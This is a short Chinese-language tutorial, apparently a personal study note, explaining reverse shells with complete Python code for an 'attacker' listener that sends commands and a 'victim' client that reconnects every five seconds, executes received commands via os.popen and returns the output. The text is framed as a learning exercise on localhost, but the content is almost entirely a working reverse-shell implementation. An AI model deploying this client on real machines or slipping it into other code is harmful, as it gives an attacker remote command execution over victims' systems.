今天学习内容就是反弹shell啦~~
当服务器端攻击客户端时,此时客户端IP地址未知,所以要使用反向shell
在这里分别写服务器端代码和客户端代码;注:每次运行时要先开服务器端
服务器端(攻击者,导入模块:import socket)
基本步骤:
1、创建套接字
s=socket.socket()
2、进行绑定(ip:允许连接的ip,服务器端端口)
s.bind(("0.0.0.0",6666))
3、允许连入的主机数
s.listen()
4、创建接口与连入的主机地址
con,addr=s.accept()
具体代码:
import socket
s = socket.socket()
s.bind(('0.0.0.0',6666))
s.listen(5)
con,addr = s.accept()
print(addr)
for i in range(3):
cmd = input('第%d条命令:'%(i+1))
con.send(cmd.encode())
result = con.recv(65536)
print(result.decode())
con.close()
客户端(被攻击者,导入模块:import socket,import os)
基本步骤:
1、创建套接字,连接服务器(ip:服务器端,端口:服务器端)
s=socket.socket()
s.connect(('127.0.0.1',6666))
2、收发数据
cmd = s.recv(1024).decode()
s.send(result.encode())
3、关闭套接字
s.close()
具体代码:
import os
import time
import socket
s = socket.socket()
while 1:
try:
s.connect(('127.0.0.1',6666))
break
except:
time.sleep(5)
for i in range(3):
cmd = s.recv(1024).decode()
print('收到的第%d条命令'%(i+1),cmd)
result = os.popen(cmd).read()
if result:
s.send(result.encode())
else:
if cmd[:2] == 'cd':
os.chdir(cmd[2:].strip())
s.send(b'OK!')
s.close()
实现效果图:
客户端:
服务器端:
enen~~就酱紫